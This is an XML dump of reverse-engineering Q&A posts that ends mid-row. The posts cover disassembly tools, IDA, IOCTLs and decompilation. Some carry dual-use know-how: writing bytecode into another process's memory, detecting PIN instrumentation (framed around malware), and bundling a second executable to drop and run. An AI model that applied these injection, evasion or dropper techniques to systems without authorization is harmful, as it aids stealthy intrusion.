  <row Id="14310" PostTypeId="2" ParentId="14309" CreationDate="2017-01-02T17:58:54.833" Score="1" Body="&lt;p&gt;Since I cannot add a comment I will post it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@NirIzr :&#xA;Well it doesn't actually point to the end, does it?&#xA;It should point to the memory where the actual byte array starts. Note that I first write the testString into the memory of my second program then the bytecode.&#xA;Then I do remoteCave = (LPVOID)((DWORD)remoteString + stringlen) which should then be the start of the bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Okey I found the answer...I had an error in my byte buffer. I needed to change the 0x88 from my second line to 0xB8.&lt;/p&gt;&#xA;" OwnerUserId="18642" LastEditorUserId="18642" LastEditDate="2017-01-03T10:16:14.717" LastActivityDate="2017-01-03T10:16:14.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14311" PostTypeId="2" ParentId="13786" CreationDate="2017-01-02T19:47:44.257" Score="1" Body="&lt;p&gt;The meaning of any one Device I/O Control code is subject to some convention. Microsoft defines the code in bit fields, the most notable of which is the high word as a device type. Microsoft defines many I/O control codes for many types of device. If a driver is executing to handle that type of device, it should expect to receive those corresponding I/O control codes and to interpret them as Microsoft defines. These I/O control codes are in this sense well-defined such that if you or a diagnostics tool see one, identifying it by a known symbolic value is sound. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, drivers can create device objects that have nothing to do with hardware. Such devices won't be the target for any device I/O control to help with managing any type of device that the system knows or cares about, and so the driver can make up whatever I/O control codes it wants. This is a long established mechanism by which drivers communicate with a co-operating application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conventionally, I/O control codes that are invented for this purpose tend to have 0x0022, i.e., FILE_DEVICE_UNKNOWN, as the device type. The practical consequence for you in your reverse engineering is that the same device I/O control code that has 0x0022 as the high word can mean completely unrelated things to different devices, even if implemented in the same driver. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Microsoft does muddy the water a little by using FILE_DEVICE_UNKNOWN for I/O control codes that can be sent to drivers for physical devices. But unless you or your diagnostics tool know that you're looking at a driver that's in place to receive those I/O control codes, any symbol that the tool resolves a 0x0022XXXX number to is very likely a fantasy that you do better to ignore. &lt;/p&gt;&#xA;" OwnerUserId="18643" LastActivityDate="2017-01-02T19:47:44.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14312" PostTypeId="1" CreationDate="2017-01-02T21:05:17.887" Score="0" ViewCount="424" Body="&lt;p&gt;I am working on debugging tools detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am looking for is a tool than can log EACH cpu instruction which is run by CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for Dynamic Symbolic Execution tools. The code is not executed by a kind of &quot;software&quot; cpu, so it is easy to put breakpoints, dump memory or pause process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found some information on pintools (intel), but i am wondering how it works for tracing binary programs. Does it work with a symbolic CPU ? Or is it a sort of debugger which interacts with kernel and real process ? If so, i think there is a way to detect pintool trace for a malware ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="2147" LastEditDate="2017-08-31T21:57:32.840" LastActivityDate="2017-08-31T21:57:32.840" Title="Does pintool work with virtual/symbolic CPU" Tags="|pintool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14313" PostTypeId="2" ParentId="14038" CreationDate="2017-01-02T21:32:14.450" Score="2" Body="&lt;p&gt;The most up to date fork I have found of &lt;code&gt;otx&lt;/code&gt; is &lt;a href=&quot;https://github.com/x43x61x69/otx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cai's&lt;/a&gt;. I have tried the CLI interface of his &lt;a href=&quot;https://github.com/x43x61x69/otx/releases/download/v1.7/otx_b566.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;v1.7: Build 566&lt;/a&gt; release on macOS 10.11.6 and it runs fine for basic disassembly, albeit on invoking it using &lt;code&gt;-o&lt;/code&gt; to 'check the executable for obfuscation' against a little test code I wrote, it terminates with a&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Terminating app due to uncaught exception&#xA;  'NSInvalidArgumentException', reason: '-[X8664Processor&#xA;  verifyNops:numFound:]: unrecognized selector sent to instance&#xA;  0x7fb7e5806200'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my opinion there are better suited tools available today to disassemble binaries on OSX, among which even &lt;code&gt;otool&lt;/code&gt; nowadays does not seem like it lacks functionality compared to &lt;code&gt;otx&lt;/code&gt; for ad-hoc disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's have a quick look by disassembling the section of a &lt;a href=&quot;https://gist.github.com/moreaki/8b446ca85aecb93e2059c16d3c7cf9d6&quot; rel=&quot;nofollow noreferrer&quot;&gt;code&lt;/a&gt; which reads (essentially the 32bit version of &lt;code&gt;32-__builtin_clz(n)&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static uint8_t f1_u32(uint32_t n) {&#xA;    return n ? 1 + f1_u32(n/2) : 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;otool -t -d -vV -j -q -H -P ./kk 2&amp;gt;/dev/null | grep -A24 &quot;^_f1_u32:&quot;&lt;/code&gt; we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_f1_u32:&#xA;0000000100000de0    55  pushq   %rbp&#xA;0000000100000de1    48 89 e5    movq    %rsp, %rbp&#xA;0000000100000de4    48 83 ec 10     subq    $0x10, %rsp&#xA;0000000100000de8    89 7d fc    movl    %edi, -0x4(%rbp)&#xA;0000000100000deb    83 7d fc 00     cmpl    $0x0, -0x4(%rbp)&#xA;0000000100000def    0f 84 1b 00 00 00   je  0x100000e10&#xA;0000000100000df5    8b 45 fc    movl    -0x4(%rbp), %eax&#xA;0000000100000df8    c1 e8 01    shrl    $0x1, %eax&#xA;0000000100000dfb    89 c7   movl    %eax, %edi&#xA;0000000100000dfd    e8 de ff ff ff  callq   _f1_u32&#xA;0000000100000e02    0f b6 f8    movzbl  %al, %edi&#xA;0000000100000e05    83 c7 01    addl    $0x1, %edi&#xA;0000000100000e08    89 7d f8    movl    %edi, -0x8(%rbp)&#xA;0000000100000e0b    e9 0a 00 00 00  jmp 0x100000e1a&#xA;0000000100000e10    31 c0   xorl    %eax, %eax&#xA;0000000100000e12    89 45 f8    movl    %eax, -0x8(%rbp)&#xA;0000000100000e15    e9 00 00 00 00  jmp 0x100000e1a&#xA;0000000100000e1a    8b 45 f8    movl    -0x8(%rbp), %eax&#xA;0000000100000e1d    88 c1   movb    %al, %cl&#xA;0000000100000e1f    0f b6 c1    movzbl  %cl, %eax&#xA;0000000100000e22    48 83 c4 10     addq    $0x10, %rsp&#xA;0000000100000e26    5d  popq    %rbp&#xA;0000000100000e27    c3  retq&#xA;0000000100000e28    0f 1f 84 00 00 00 00 00     nopl    (%rax,%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;./otx -d ./kk 2&amp;gt;/dev/null | grep -A26 &quot;^_f1_u32:&quot;&lt;/code&gt;, this is the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_f1_u32:&#xA;    +0  0000000100000de0  55                 pushq    %rbp&#xA;    +1  0000000100000de1  4889e5             movq     %rsp,         %rbp&#xA;    +4  0000000100000de4  4883ec10           subq     $0x10,        %rsp&#xA;    +8  0000000100000de8  897dfc             movl     %edi,         -0x4(%rbp)&#xA;   +11  0000000100000deb  837dfc00           cmpl     $0x0,         -0x4(%rbp)&#xA;   +15  0000000100000def  0f841b000000       je       0x100000e10&#xA;   +21  0000000100000df5  8b45fc             movl     -0x4(%rbp),   %eax&#xA;   +24  0000000100000df8  c1e801             shrl     $0x1,         %eax&#xA;   +27  0000000100000dfb  89c7               movl     %eax,         %edi&#xA;   +29  0000000100000dfd  e8deffffff         callq    _f1_u32&#xA;   +34  0000000100000e02  0fb6f8             movzbl   %al,          %edi&#xA;   +37  0000000100000e05  83c701             addl     $0x1,         %edi&#xA;   +40  0000000100000e08  897df8             movl     %edi,         -0x8(%rbp)&#xA;   +43  0000000100000e0b  e90a000000         jmp      0x100000e1a   Anon4&#xA;   +48  0000000100000e10  31c0               xorl     %eax,         %eax&#xA;   +50  0000000100000e12  8945f8             movl     %eax,         -0x8(%rbp)&#xA;   +53  0000000100000e15  e900000000         jmp      0x100000e1a   Anon4&#xA;&#xA;Anon4:&#xA;    +0  0000000100000e1a  8b45f8             movl     -0x8(%rbp),   %eax&#xA;    +3  0000000100000e1d  88c1               movb     %al,          %cl&#xA;    +5  0000000100000e1f  0fb6c1             movzbl   %cl,          %eax&#xA;    +8  0000000100000e22  4883c410           addq     $0x10,        %rsp&#xA;   +12  0000000100000e26  5d                 popq     %rbp&#xA;   +13  0000000100000e27  c3                 retq&#xA;   +14  0000000100000e28  0f1f840000000000   nopl     (%rax,%rax)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Besides cosmetic differences, we actually get (and expect) very similar output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unbeknownst of your agenda, in recent times I have found myself using &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; or the &lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hopper&lt;/a&gt; GUI tool rather than fiddling with &lt;code&gt;otool&lt;/code&gt; or &lt;code&gt;otx&lt;/code&gt; when it comes to disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In hopper, you even get a decent pseudo code out of the disassembly (could be even better if hopper interpreted the &lt;code&gt;&amp;amp; 0xff&lt;/code&gt; as a hint towards an unsigned variable in this case):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int _f1_u32(int arg0) {&#xA;    var_4 = arg0;&#xA;    if (var_4 != 0x0) {&#xA;            var_8 = (_f1_u32(var_4 &amp;gt;&amp;gt; 0x1) &amp;amp; 0xff) + 0x1;&#xA;    } else {&#xA;            var_8 = 0x0;&#xA;    }&#xA;    rax = var_8 &amp;amp; 0xff;&#xA;    return rax;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18183" LastActivityDate="2017-01-02T21:32:14.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14314" PostTypeId="2" ParentId="14312" CreationDate="2017-01-03T05:08:38.223" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am looking for Dynamic Symbolic Execution tools&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably nitpicking, but as your question is about PIN, this tool falls under the DBI (Dynamic Binary Instrumentation) tool category, it has nothing to do with symbolic execution.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does it work with a symbolic CPU ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, you need a binary to be instrumented, be it a PE (Windows) or ELF (linux).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or is it a sort of debugger which interacts with kernel and real process ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;PIN has two modes of operation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;JIT mode: the code from the binary (that is being instrumented) is JITed on the fly by the PIN engine, which allows you to put your &quot;hooks&quot; everywhere you need to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Probe mode: the code is executed &quot;as is&quot; but you can still put some hooks only at some places (using &quot;trampolines&quot; to redirect the code from the binary to your own places). This is a more limited mode compared to the JIT mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that PIN is user-mode only (it doesn't deal with the kernel side of the operating system).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, i think there is a way to detect pintool trace for a malware ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's pretty easy to detect that your application is currently instrumented by PIN. It has never meant to be undetectable. The pin engine inject your pintool (where you code your instrumentation and analysis routines) into the process address space and either JIT the assembly code on the fly or puts hooks / trampolines into the code, so it's easily detectable.&#xA;The simplest way to detect PIN being just checking in the process module list if the pin engine is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to detect PIN, just check this presentation from Recon: &lt;a href=&quot;https://recon.cx/2012/schedule/attachments/42_FalconRiva_2012.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic Binary Instrumentation Frameworks: I know you're there spying on me&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4702" LastActivityDate="2017-01-03T05:08:38.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14315" PostTypeId="1" AcceptedAnswerId="14316" CreationDate="2017-01-03T07:09:25.263" Score="1" ViewCount="1917" Body="&lt;p&gt;I'm working on a project that needs to be a stand-alone executable but run another executable whenever it is started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't have access to the source code of the second program to embed it in my own code, so I was thinking about some dirty workaround like below in assembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n62XA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n62XA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means to join the binary of two files and use &lt;code&gt;jmp&lt;/code&gt; to control the program flow. I've tried ollydbg but could not open &lt;code&gt;x64&lt;/code&gt; executables. Is there another way to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="18649" LastEditorUserId="53" LastEditDate="2017-04-28T12:47:24.517" LastActivityDate="2017-05-02T02:35:39.580" Title="How to bind two EXE files?" Tags="|disassembly|executable|patching|reassembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14316" PostTypeId="2" ParentId="14315" CreationDate="2017-01-03T07:29:22.010" Score="2" Body="&lt;p&gt;To debug 64 bit Windows executables you can use &lt;a href=&quot;http://x64dbg.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;x64dbg&lt;/a&gt;. It also has the same patching functionalities ollydbg has. You will also need to resolve imports manually (or adjust the second executable's code to use the PE import table) and relocations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there might be easier ways to do that by extracting the executable and ruining it. An automated way to do that is using WinRar SFX (self extracting) executable. This let's you create an executable that when starts will extract multiple files into a temporary directory and will run one of the extracted files. You can also implement something similar yourself by dropping an executable and running it.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-01-03T07:29:22.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14317" PostTypeId="1" AcceptedAnswerId="14318" CreationDate="2017-01-04T07:33:37.440" Score="6" ViewCount="2358" Body="&lt;p&gt;I'm currently learning &lt;code&gt;IDA Pro&lt;/code&gt;, that is set up with the &lt;code&gt;WinDbg&lt;/code&gt; debugger. So, say, I triggered a breakpoint and began stepping in and out of functions. I prefer to work in the &quot;Graph view&quot; mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qfgZ5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qfgZ5.png&quot; alt=&quot;IDA debugger view in graph mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the easiest way to see the module name that I'm currently debugging? Or where the &lt;code&gt;EIP&lt;/code&gt; or &lt;code&gt;RIP&lt;/code&gt; registers points to. In the screenshot above, address of &lt;code&gt;0x759B86B0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14864" LastEditorUserId="2147" LastEditDate="2017-01-04T11:52:15.917" LastActivityDate="2017-01-04T11:52:15.917" Title="How to know which module am I currently in? (EIP/RIP pointer)" Tags="|ida|windows|debugging|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14318" PostTypeId="2" ParentId="14317" CreationDate="2017-01-04T08:13:30.413" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;The top right window, the registers window, shows where each register points to and includes the module name of there is one. EIP is not shown in the picture but if you'll scroll down or resize it you'll see it.&lt;/li&gt;&#xA;&lt;li&gt;The stack shows an address in the same offset as the current EIP points to somewhere in &lt;code&gt;user32&lt;/code&gt;, so that's probably it. &lt;code&gt;ebx&lt;/code&gt; also points to the same module.&lt;/li&gt;&#xA;&lt;li&gt;The IDB segment is named correctly, so you can always open the segments view and see which segment contains the current EIP. Additionally, viewing the address (by switching to the Text View or configuring the graph view to show addresses from Options-&gt;Graph view) will have the module name before the address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-01-04T09:25:54.913" LastActivityDate="2017-01-04T09:25:54.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14320" PostTypeId="1" AcceptedAnswerId="14327" CreationDate="2017-01-04T12:41:05.200" Score="-2" ViewCount="634" Body="&lt;p&gt;what is the theory behind the subject of translate assembly code to pseudo code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you explain few words ? Also some book about it?&lt;/p&gt;&#xA;" OwnerUserId="12779" LastActivityDate="2017-01-04T18:44:23.187" Title="How decompilation works?" Tags="|disassembly|x86|decompilation|c++|" AnswerCount="1" CommentCount="1" ClosedDate="2017-01-05T19:15:16.280" ContentLicense="CC BY-SA 3.0" />
  <row Id="14322" PostTypeId="2" ParentId="14301" CreationDate="2017-01-04T15:00:15.517" Score="-1" Body="&lt;p&gt;Thanks to @Fewmitz I managed to fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out com_print should = (Com_Printf)GetModuleHandle(&quot;quakelive_steam.exe&quot;) + 0x000C9860;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="17525" LastActivityDate="2017-01-04T15:00:15.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14326" PostTypeId="2" ParentId="11396" CreationDate="2017-01-04T18:33:18.527" Score="3" Body="&lt;p&gt;Not all processor name has endian information. Generally it can be determinded as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BIG_ENDIAN if _idaapi.cvar.inf.mf else LITTLE_ENDIAN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18669" LastEditorUserId="2147" LastEditDate="2017-01-04T20:36:58.767" LastActivityDate="2017-01-04T20:36:58.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14327" PostTypeId="2" ParentId="14320" CreationDate="2017-01-04T18:44:23.187" Score="5" Body="&lt;p&gt;A thorough but dated theoretical treatment of decompilation can be found in Cristina Cifuentes' 1994 PhD thesis &lt;a href=&quot;https://yurichev.com/mirrors/DCC_decompilation_thesis.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Reverse Compilation Techniques&quot;&lt;/a&gt;. The subject matter therein, which includes discussion of syntax analysis, semantic analysis, control flow analysis, data flow analysis, and code generation, will be difficult to understand without being familiar with compiler or programming language theory beforehand, as decompilation is the reverse process of compilation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A shorter treatment of decompilation by the same author is given in a paper called &lt;a href=&quot;https://pdfs.semanticscholar.org/a5f9/2c049dc8062501dd36f149d746e8140f09e9.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Decompilation of Binary Programs&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for something more contemporary you may wish to investigate techniques employed by CMU's &lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_schwartz.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phoenix decompiler&lt;/a&gt; as well as the answers to this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5984/how-to-do-static-analysis-to-identify-pointer-from-concrete-value-in-assembly&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-01-04T18:44:23.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14333" PostTypeId="1" AcceptedAnswerId="14337" CreationDate="2017-01-05T08:20:49.017" Score="-1" ViewCount="230" Body="&lt;p&gt;which windows API called when execute this command&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wmic qfe get hotfixid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;command?&lt;/p&gt;&#xA;" OwnerUserId="12454" LastEditorUserId="12454" LastEditDate="2017-01-05T08:38:45.530" LastActivityDate="2017-01-05T18:39:16.637" Title="which windows API called when execute wmic qfe get hotfixid command?" Tags="|windows|debugging|c++|c|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14335" PostTypeId="2" ParentId="14333" CreationDate="2017-01-05T14:30:12.163" Score="0" Body="&lt;p&gt;When you execute command &lt;code&gt;wmic qfe get hotfixid&lt;/code&gt; from commandline it first execute windows API function &lt;code&gt;CreateProcessW&lt;/code&gt; with parameters of command and fill path of &lt;code&gt;wmic.exe&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15600" LastActivityDate="2017-01-05T14:30:12.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14337" PostTypeId="2" ParentId="14333" CreationDate="2017-01-05T18:39:16.637" Score="1" Body="&lt;p&gt;A lot of APIs are called in this case. wmic is an executable. If you're asking because you want to replace such a command the updates installed on the machine are listed under Software\Microsoft\Windows\CurrentVersion\Component Based servicing\Packages. WMI has its own datastores which are probably less useful to you.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2017-01-05T18:39:16.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14340" PostTypeId="1" CreationDate="2017-01-06T08:57:25.547" Score="0" ViewCount="4117" Body="&lt;p&gt;I am trying to reverse engineer exe file and have some difficulties of pseudo code understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me understand what is doing the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char __userpurge sub_41C140@&amp;lt;al&amp;gt;(int a1@&amp;lt;esi&amp;gt;, void *Src)&#xA;{&#xA;  size_t v2; // ebp@1&#xA;  int v3; // eax@1&#xA;  unsigned int v4; // edi@2&#xA;  void *v5; // ebx@2&#xA;  const void *v6; // eax@4&#xA;  int v7; // edx@9&#xA;  char result; // al@9&#xA;  int v9; // edx@9&#xA;&#xA;  v2 = strlen((const char *)Src);&#xA;  v3 = *(_DWORD *)(a1 + 44);&#xA;  *(_DWORD *)(a1 + 48) = v3;&#xA;  if ( v3 + v2 + 3 &amp;lt;= *(_DWORD *)(a1 + 40) )&#xA;  {&#xA;LABEL_9:&#xA;    memcpy((void *)(*(_DWORD *)(a1 + 48) + *(_DWORD *)(a1 + 36)), Src, v2);&#xA;    *(_DWORD *)(a1 + 48) += v2;&#xA;    *(_BYTE *)(*(_DWORD *)(a1 + 48) + *(_DWORD *)(a1 + 36)) = 13;&#xA;    v7 = *(_DWORD *)(a1 + 36);&#xA;    result = 1;&#xA;    *(_BYTE *)(++*(_DWORD *)(a1 + 48) + v7) = 10;&#xA;    v9 = ++*(_DWORD *)(a1 + 48);&#xA;    *(_DWORD *)(a1 + 44) = *(_DWORD *)(a1 + 48);&#xA;    *(_BYTE *)(*(_DWORD *)(a1 + 36) + v9) = 0;&#xA;  }&#xA;  else&#xA;  {&#xA;    while ( 1 )&#xA;    {&#xA;      v4 = *(_DWORD *)(a1 + 40) + 2048;&#xA;      v5 = operator new(v4);&#xA;      if ( !v5 )&#xA;        break;&#xA;      if ( *(_DWORD *)(a1 + 40) )&#xA;      {&#xA;        v6 = *(const void **)(a1 + 36);&#xA;        if ( v6 )&#xA;          memcpy(v5, v6, *(_DWORD *)(a1 + 48));&#xA;      }&#xA;      if ( *(_DWORD *)(a1 + 36) )&#xA;        operator delete(*(void **)(a1 + 36));&#xA;      *(_DWORD *)(a1 + 40) = v4;&#xA;      *(_DWORD *)(a1 + 36) = v5;&#xA;      if ( *(_DWORD *)(a1 + 48) + v2 + 3 &amp;lt;= v4 )&#xA;        goto LABEL_9;&#xA;    }&#xA;    result = 0;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18683" LastActivityDate="2017-01-06T11:48:14.713" Title="IDA pseudo code decompilation" Tags="|ida|decompilation|c|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14341" PostTypeId="2" ParentId="14340" CreationDate="2017-01-06T11:48:14.713" Score="2" Body="&lt;p&gt;As far as I can tell a1 here is pointer to structure or object, so&#xA;I'd suggest to use IDA structures to make the generated code simpler:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Decompile the function you are working with.&lt;/li&gt;&#xA;&lt;li&gt;Right click on a1 variable inside a function&lt;/li&gt;&#xA;&lt;li&gt;Press &quot;create new struct type&quot; menu item and press OK.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should convert all the references like &lt;code&gt;*(_DWORD *)(a1 + 40)&lt;/code&gt; to &lt;code&gt;a1-&amp;gt;fieldname&lt;/code&gt; and a1 will be treated as structure pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll be able to rename the structure in the structures window and you'll be able to rename fields by pressing &lt;kbd&gt;n&lt;/kbd&gt; on the fields just as like on variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-01-06T11:48:14.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14343" PostTypeId="1" CreationDate="2017-01-06T18:39:42.403" Score="1" ViewCount="556" Body="&lt;p&gt;I  have hopper on my Mac and work fine for disassemble, now I want to debug an exe file, but I have a problem...&#xA;with ida you can remote debugging, is there any method where I have hopper on my Mac (client) and start a remote debugger on windows/linux so I can also dynamically debug elf and exe?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18692" LastActivityDate="2017-01-09T21:51:29.223" Title="Hopper remote debugging" Tags="|ida|debugging|hopper|remote|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14344" PostTypeId="1" CreationDate="2017-01-06T22:42:21.423" Score="1" ViewCount="1183" Body="&lt;p&gt;So here's the rundown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files in themselves are .spc. Normally, you'd think this is a spectrum file, but it's a custom file made by the developer themselves. It contains an image that is used/will be used in the game, and me and a group is trying to figure out how to decode it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's things we've tried and know so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Initially, we thought that it was a PKSC7 certificate envelope. It was not, as it was a custom file. They were unpacked from a general .cpk file, which all games in the series have utilized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-The game in question is a PSVITA and PS4 (although our files are from the Vita version) game and is called New Danganronpa V3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-We received info from a third party that does not want to share how to decompress the files. They were the ones that taught us the SPC file is NOT a certificate or spectrum file, and that the method to decompress it was backwards and strange, and was found out mostly by accident&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-We found out some strange stuff in hex files, but the most relevant information is that the .spc files are CPS., a little-endian compression method. According to some help we've found elsewhere in the internet, this is a big hint on how to decrypt said files - we've tried switching it to big-endian, but we haven't found much other than the hex data changes to be more coherent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Other things we've found in the hexdata include stuff like filepaths (such as a thing called &quot;SPCpack&quot;, a few things ending in .srdi and .srd, and -BEGIN CERTIFICATE- at the top of one. Here's an image: &lt;a href=&quot;https://i.stack.imgur.com/RQLHe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQLHe.png&quot; alt=&quot;Hexdata with first three digits&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the files themselves are needed, they are available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.nz/#!6xtmgBzQ!RNfIUlC94bQs4YPTVD0GuMFTi3LfqeIMrKdaxqRtCp8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mega.nz/#!6xtmgBzQ!RNfIUlC94bQs4YPTVD0GuMFTi3LfqeIMrKdaxqRtCp8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18694" LastEditorUserId="18694" LastEditDate="2017-01-07T11:46:25.927" 